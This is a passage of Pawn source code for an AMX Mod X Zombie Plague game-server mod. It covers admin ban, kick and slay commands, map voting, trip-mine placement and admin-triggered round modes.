	if (!GetAccess(iPlayer, 2048, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	if (contain(cArgument, ":") != -1)
	{
		server_cmd("removeid %s;writeid", cArgument);
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
	}
	if (contain(cArgument, ".") != -1)
	{
		server_cmd("removeip ^"%s^";writeip", cArgument);
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
	}
	return 1;
}

public Command_Addban(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 3))
	{
		return 1;
	}
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTime;
	static iMinutes[32];
	read_argv(2, iMinutes, 31);
	iTime = clamp(str_to_num(iMinutes), 0, 999999);
	if (contain(cArgument, ":") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
		server_cmd("banid %i %s", iTime, cArgument);
		server_cmd("writeid");
		if (iTime)
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
		}
		else
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
		}
		g_iLimitReached[iPlayer]++;
	}
	if (contain(cArgument, ".") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
		server_cmd("addip %i ^"%s^";writeip", iTime, cArgument);
		if (iTime)
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
		}
		else
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
		}
		g_iLimitReached[iPlayer]++;
	}
	return 1;
}

public Command_Banip(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 4))
	{
		return 1;
	}
	static szArgument[32];
	read_argv(1, szArgument, 31);
	static iTime;
	static szTime[7];
	read_argv(2, szTime, 6);
	iTime = clamp(str_to_num(szTime), 0, 999999);
	static szReason[64];
	read_argv(3, szReason, 63);
	static iTarget;
	iTarget = GetTarget(iPlayer, szArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	console_print(iTarget, "*****************************");
	console_print(iTarget, "Ban Informations:");
	console_print(iTarget, "[*] Banned by admin: %s", g_cName[iPlayer]);
	if (iTime)
	{
		console_print(iTarget, "[*] Banned for: %i minutes", iTime);
	}
	else
	{
		console_print(iTarget, "[*] Banned permanently");
	}
	console_print(iTarget, "[*] Banned on: %s", g_cPlayerAddress[iTarget]);
	console_print(iTarget, "[*] Ban reason is: %s", szReason);
	console_print(iTarget, "*****************************");
	server_cmd("addip %i %s;writeip", iTime, g_cPlayerAddress[iTarget]);
	if (iTime)
	{
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], iTime);
		MessageLog(0, "^x01Reason:^x04 %s", szReason);
	}
	else
	{
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x03 permanently", g_cName[iPlayer], g_cName[iTarget]);
		MessageLog(0, "^x01Reason:^x04 %s", szReason);
	}
	return 1;
}

public CmdFreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x04 frost^x01 due to^x04 camping", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, true);
	set_glow(iTarget, 19, 32, 0, 50, 90);
	g_bFrozen[iTarget] = true;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public CmdUnfreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^x01[ADMIN]^x04 %s:^x01 made^x04 %s^x03 unfrozen", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, false);
	remove_glow(iTarget);
	g_bFrozen[iTarget] = false;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public Command_Kick(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 5);
	if (!iTarget)
	{
		return 1;
	}
	server_cmd("kick #%i", get_user_userid(iTarget));
	MessageLog(0, "^x01[ADMIN]^x04 %s^x01: kick^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slap(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_slap(iTarget, 0, 1);
	MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slap^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slay(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_kill(iTarget);
	MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slay^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Map(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	if (is_map_valid(cArgument))
	{
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: change map to^x04 %s", g_cName[iPlayer], cArgument);
		set_cvar_string("nextmap", cArgument);
		set_task(1.0, "TaskInt", 0, "", 0, "", 0);
		set_task(3.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}
	else
	{
		client_print(iPlayer, 2, "[AMXX] The map you want isn't a valid map!");
	}
	return 1;
}

public Command_AddFake(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}
	remove_task(750);
	set_task(3.0, "Task_CheckBots", 750, "", 0, "b", 0);
	return 1;
}

public MessageMoney(iMessage, iDestination, iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		reset_money(iPlayer);
	}
	return 1;
}

public CmdVoteMap(iPlayer)
{
	if (get_user_flags(iPlayer) & 8)
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[ZP] Command usage is amx_votemap <map> <map>");
			return 1;
		}
		if (g_bVoting || g_bSecondVoting)
		{
			console_print(iPlayer, "[ZP] You can't start the vote right now..");
			return 1;
		}
		static cSecondMap[32];
		static cMap[32];
		read_argv(1, cMap, 32);
		read_argv(2, cSecondMap, 32);
		if (is_map_valid(cMap) && is_map_valid(cSecondMap))
		{
			static i;
			g_bSecondVoting = true;
			set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
			MessageLog(0, "^x04[ZP]^x01 ADMIN^x04 %s^x01 initiated a vote with^x04 %s^x01 and^x04 %s", g_cName[iPlayer], cMap, cSecondMap);
			copy(g_cSecondMaps[0], 32, cMap);
			copy(g_cSecondMaps[1], 32, cSecondMap);
			g_iMenu = menu_create("Choose the next map!", "SecondVotePanel");
			menu_additem(g_iMenu, cMap, "1", 0, -1);
			menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
			menu_setprop(g_iMenu, 6, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && !g_bFake[i])
				{
					menu_display(i, g_iMenu);
				}
				i += 1;
			}
		}
		else
		{
			console_print(iPlayer, "[ZP] Unable to find specified map or one of the specified map(s)!");
		}
		return 1;
	}
	return 0;
}

public VotePanel(iPlayer, iMenu, iItem)
{
	if (iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bVoting)
		{
			static iKeyMinusDoi;
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			iKeyMinusDoi = iKey + -2;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (0 > iKeyMinusDoi)
			{
				iKeyMinusDoi = 0;
			}
			if (iKey == 1)
			{
				if (g_iVotes[0] + 1 == 1)	
				{	
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
				else
				{
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
			}
			else
			{
				if (g_iVotes[iKeyMinusUnu] == 1)
				{
					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
				else
				{
 					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
			}
			g_iVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public SecondVotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bSecondVoting)
		{
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (g_iSecondVotes[iKeyMinusUnu] == 1)
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);

			}
			else
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			}
			g_iSecondVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public TaskInt()
{
	send_intermission();
	return 0;
}

public TaskChangeLevel()
{
	changelevel();
	return 0;
}

public CheckSecondVotes(iPlayer)
{
	static iVoteOption;
	static iMaximumVotes;
	g_bSecondVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 2)
	{
		if (iMaximumVotes < g_iSecondVotes[g_iVariable])
		{
			iMaximumVotes = g_iSecondVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^x01The next map will be^x04 %s", g_cSecondMaps[iVoteOption]);
	set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
	if (g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
        g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange");
        menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
        menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
        menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
        menu_setprop(g_iMenu, 6, -1);
        menu_display(iPlayer, g_iMenu, 0);
	}
	g_iSecondVotes[1] = 0;
	g_iSecondVotes[0] = 0;
	return 0;
}

public _MenuChange(iPlayer, iMenu, iItem)
{
	static iChoice;
	static iDummy;
	static cBuffer[3];
	menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
	iChoice = str_to_num(cBuffer);
	switch (iChoice)
	{
		case 0:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^x04[ZP]^x01 Changing map to^x04 %s^x01...", cMap);
			set_cvar_num("mp_timelimit", 0);
			set_task(1.0, "TaskChangeLevel", 0, "", 0, "", 0);
		}
		case 1:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^x04[ZP]^x01 Console variable^x04 nextmap^x01 has been changed to^x04 %s^x01...", cMap);
			set_cvar_num("mp_timelimit", 0);
			g_iVariables[0] = 1;
		}
		case 2:
		{
			PrintToChat(0, "^x04[ZP]^x01 We will stay here...");
		}	
	}
	return 0;
}

public CheckVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		if (iMaximumVotes < g_iVotes[g_iVariable])
		{
			iMaximumVotes = g_iVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (iVoteOption)
	{
		PrintToChat(0, "^x01The next map will be^x04 %s", g_cMaps[iVoteOption + -1]);
		set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
		set_cvar_num("mp_timelimit", 0);
		g_iVariables[0] = 1;
	}
	else
	{
		PrintToChat(0, "^x01This map will be extended with^x04 10^x01 minutes!");
		g_iVariable = 0;
		while (g_iVariable < 5)
		{
			g_iVotes[g_iVariable] = 0;
			g_iVariable += 1;
		}
		set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
	}
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		g_iVotes[g_iVariable] = 0;
		g_iVariable += 1;
	}
	return 0;
}

public CheckTimeleft(iDecimal)
{
	static Float:fTimeLeft;
	fTimeLeft = GetTimeLeft();
	if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
	{
		remove_task(iDecimal);
		g_bVoting = true;
		set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
		g_iMenu = menu_create("Choose the next map!", "VotePanel");
		menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
		static j[32];
		static i;
		i = 2;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			num_to_str(i, j, 32);
			menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
			i += 1;
			g_iVariable += 1;
		}
		menu_setprop(g_iMenu, 6, -1);
		g_iVariable = 1;
		while (g_iMaxClients + 1 > g_iVariable)
		{
			if (g_bConnected[g_iVariable] && !g_bFake[g_iVariable])
			{
				menu_display(g_iVariable, g_iMenu);
			}
			g_iVariable += 1;
		}
		PrintToChat(0, "^x01It's time to^x04 choose the nextmap^x01...");
		client_cmd(0, "spk Gman/Gman_Choose2");
	}
	return 0;
}

Float:GetTimeLeft()
{
    return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}

public Command_Plant(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iTripMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a trip mine to plant");
			return 0;
		}
		if (1 < g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can plant only^3 2 trip mines^1...");
			return 0;
		}
		if (g_iRoundType & 128 || g_bRoundEnd)
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can't plant a trip mine right now...");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (CanPlant(iPlayer))
		{
			g_bPlanting[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
		}
	}
	return 0;
}

public Command_Take(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a planted trip mine");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (can(iPlayer))
		{
			g_bRemoving[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);
		}
	}
	return 0;
}

public Func_Take(iPlayer)
{
	iPlayer += -500;
	g_bRemoving[iPlayer] = false;
	static iCount;
	static iEntities[2];
	iCount = ent(iPlayer, iEntities);
	if (iCount)
	{
		g_iPlantedMines[iPlayer]--;
		g_iTripMines[iPlayer]++;
		if (iEntities[0] == g_iPlayerMines[iPlayer][0])
		{
			g_iPlayerMines[iPlayer][0] = 0;
		}
		else if (iEntities[0] == g_iPlayerMines[iPlayer][1])
		{
			g_iPlayerMines[iPlayer][1] = 0;
		}
		remove_entity(iEntities[0]);
	}
	return 0;
}

public bool: CanPlant( iPlayer )
{
    static Float:flOrigin[ 3 ];
    entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
    static Float:flTraceDirection[ 3 ];
    static Float:flTraceEnd[ 3 ];
    static Float:flTraceResult[ 3 ];
    static Float:flNormal[ 3 ];
    velocity_by_aim( iPlayer, 64, flTraceDirection );
    flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
    flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
    flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
    static Float: flFraction, iTr;
    iTr = 0;
    engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
    get_tr2( iTr, TR_vecEndPos, flTraceResult );
    get_tr2( iTr, TR_vecPlaneNormal, flNormal );
    get_tr2( iTr, TR_flFraction, flFraction );
    if( flFraction >= 1.0 )
    {
        send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You must plant the^x03 mine^x01 on a wall!");
        return false;
    }
    return true;
}

public Func_Plant(iPlayer) 
{
	iPlayer -= 450;
	g_bPlanting[ iPlayer ] = false;
	static iEntity;
	static Float: flOrigin[ 3 ];
	entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
	static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
	velocity_by_aim( iPlayer, 128, flTraceDirection );
	flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
	flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
	flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
	static Float: flFraction, iTr;
	iTr = 0;
	engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
	get_tr2( iTr, TR_vecEndPos, flTraceResult );
	get_tr2( iTr, TR_vecPlaneNormal, flNormal );
	get_tr2( iTr, TR_flFraction, flFraction );
	iEntity = create_mine();
	if(!iEntity)
	{
		return 0;
	}
	set_glow(iEntity, 19, 13, 0, 120, 240);
	entity_set_int( iEntity, EV_INT_iuser2, iPlayer )
	g_iPlantedMines[ iPlayer ]++;
	set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
	entity_set_float( iEntity, EV_FL_frame, 0.0 );
	entity_set_float( iEntity, EV_FL_framerate, 0.0 );
	entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
	entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
	entity_set_int( iEntity, EV_INT_body, 3 );
	entity_set_int( iEntity, EV_INT_sequence, 7 );
	entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
	entity_set_int( iEntity, EV_INT_iuser1, 0 );
	static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
	flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
	flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
	flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
	entity_set_origin( iEntity, flNewOrigin );
	vector_to_angle( flNormal, flEntAngles );
	entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
	flEntAngles[ 0 ] *= -1.0;
	flEntAngles[ 1 ] *= -1.0;
	flEntAngles[ 2 ] *= -1.0;
	entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
	g_iTripMines[iPlayer]--;
	if (g_iPlayerMines[iPlayer][0])
	{
		g_iPlayerMines[iPlayer][1] = iEntity;
	}
	else
	{
		g_iPlayerMines[iPlayer][0] = iEntity;
	}
	sound(iEntity, 3, "zombie_plague/mine_deploy.wav");
	sound(iEntity, 3, "zombie_plague/mine_charge.wav");
	set_nextthink(iEntity, get_gametime() + 0.6);
	return 0;
}

public CmdMode(iPlayer)
{
	if (g_bAdmin[iPlayer])
	{
		static iJetpacks[33];
		static AssassinUsed;
		static NemesisUsed;
		static UsedAlready[33];
		static iAmmo;
		static cAmmo[4];
		static iAlive;
		static iTarget;
		static cTarget[32];
		static iFlags;
		static cMode[32];
		read_argv(0, cMode, 32);
		read_argv(1, cTarget, 31);
		read_argv(2, cAmmo, 4);
		iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
		iAlive = GetAliveCount();
		iTarget = GetTarget(iPlayer, cTarget, 0);
		iFlags = get_user_flags(iPlayer);
		if (get_gametime() - g_fRoundStartTime < 2.0)
		{
			PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after round started!");
			console_print(iPlayer, "[ZP] Please wait at least two seconds after round started!");
			return 0;
		}
		if (equal(cMode, "zp_jetpack") && iTarget && iFlags & 1 && g_bAlive[iTarget] && !g_bZombie[iTarget] && iJetpacks[iPlayer] <= 3)
		{
			if (get_user_jetpack(iTarget))
			{
				user_drop_jetpack(iTarget, 1);
			}
			set_user_jetpack(iTarget, 1);
			iJetpacks[iPlayer]++;
			set_user_fuel(iTarget, 250.0);
			set_user_rocket_time(iTarget, 0.0);
			send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 CTR+SPACE^x01 to fly!");
			send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 RIGHT CLICK^x01 to shoot!");
		}
		if (equal(cMode, "zp_giveap") && iTarget && iFlags & 1)
		{
			PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: give^x04 %d^x01 ammopacks to^x04 %s", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
			g_iPacks[iTarget] += iAmmo;
		}
		if (equal(cMode, "zp_human") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && iAlive > 2 && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
		{
			if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
			{
				return 0;
			}
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Human", g_cName[iPlayer], g_cName[iTarget]);
			MakeHuman(iTarget, false, false);
			UsedAlready[iPlayer] = 1;
			log_to_file("zombie_plague_advance.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_respawn") && iTarget && !g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && 0 < get_user_team(iTarget) < 3 && iFlags & 131072)
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iTarget);
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: respawned^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
			UsedAlready[iPlayer] = 1;
			log_to_file("zombie_plague_advance.log", "%s respawn %s", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_zombie") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
		{
			if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
			{
				return 0;
			}
			if (g_bRoundStart)
			{
				StartNormalMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				MakeZombie(0, iTarget, false, false, false);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Zombie", g_cName[iPlayer], g_cName[iTarget]);
				UsedAlready[iPlayer] = 1;
				log_to_file("zombie_plague_advance.log", "%s made %s Zombie", g_cName[iPlayer], g_cName[iTarget]);				
			}
		}
		if (equal(cMode, "zp_sniper") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 8) && iFlags & 1)
		{
			if (g_bRoundStart)
			{			
				StartSniperMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				MakeHuman(iTarget, false, true);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Sniper", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Sniper", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		if (equal(cMode, "zp_survivor") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 4) && iFlags & 1)
		{
			if (g_bRoundStart)
			{							
				StartSurvivorMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				MakeHuman(iTarget, true, false);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Survivor", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Survivor", g_cName[iPlayer], g_cName[iTarget]);
			}			
		}
		if (equal(cMode, "zp_nemesis") && iTarget && g_bAlive[iTarget] && !NemesisUsed && !(g_iPlayerType[iTarget] & 1) && iFlags & 262144)
		{
			if (g_bRoundStart)
			{					
				StartNemesisMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				NemesisUsed = 1;
				MakeZombie(0, iTarget, false, true, false);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Nemesis", g_cName[iPlayer], g_cName[iTarget]);	
			}			
		}
		if (equal(cMode, "zp_assassin") && iTarget && g_bAlive[iTarget] && !AssassinUsed && !(g_iPlayerType[iTarget] & 2) && iFlags & 262144)
		{
			if (g_bRoundStart)
			{							
				StartAssassinMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				AssassinUsed = 1;
				MakeZombie(0, iTarget, false, false, true);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Assassin", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Assassin", g_cName[iPlayer], g_cName[iTarget]);	
			}			
		}
		if (equal(cMode, "zp_swarm") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 64)
		{
			StartSwarmMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Swarm^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_plague") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 32)
		{
			StartPlagueMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Plague^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_lnj") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 128)
		{
			StartArmageddonMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Armageddon^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_nightmare") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 256)
		{
			StartNightmareMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Nightmare^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_avs", 0) && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 512)
		{
			StartAssassinsVsSnipersMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Assassins vs Snipers^x01 round!", g_cName[iPlayer]);
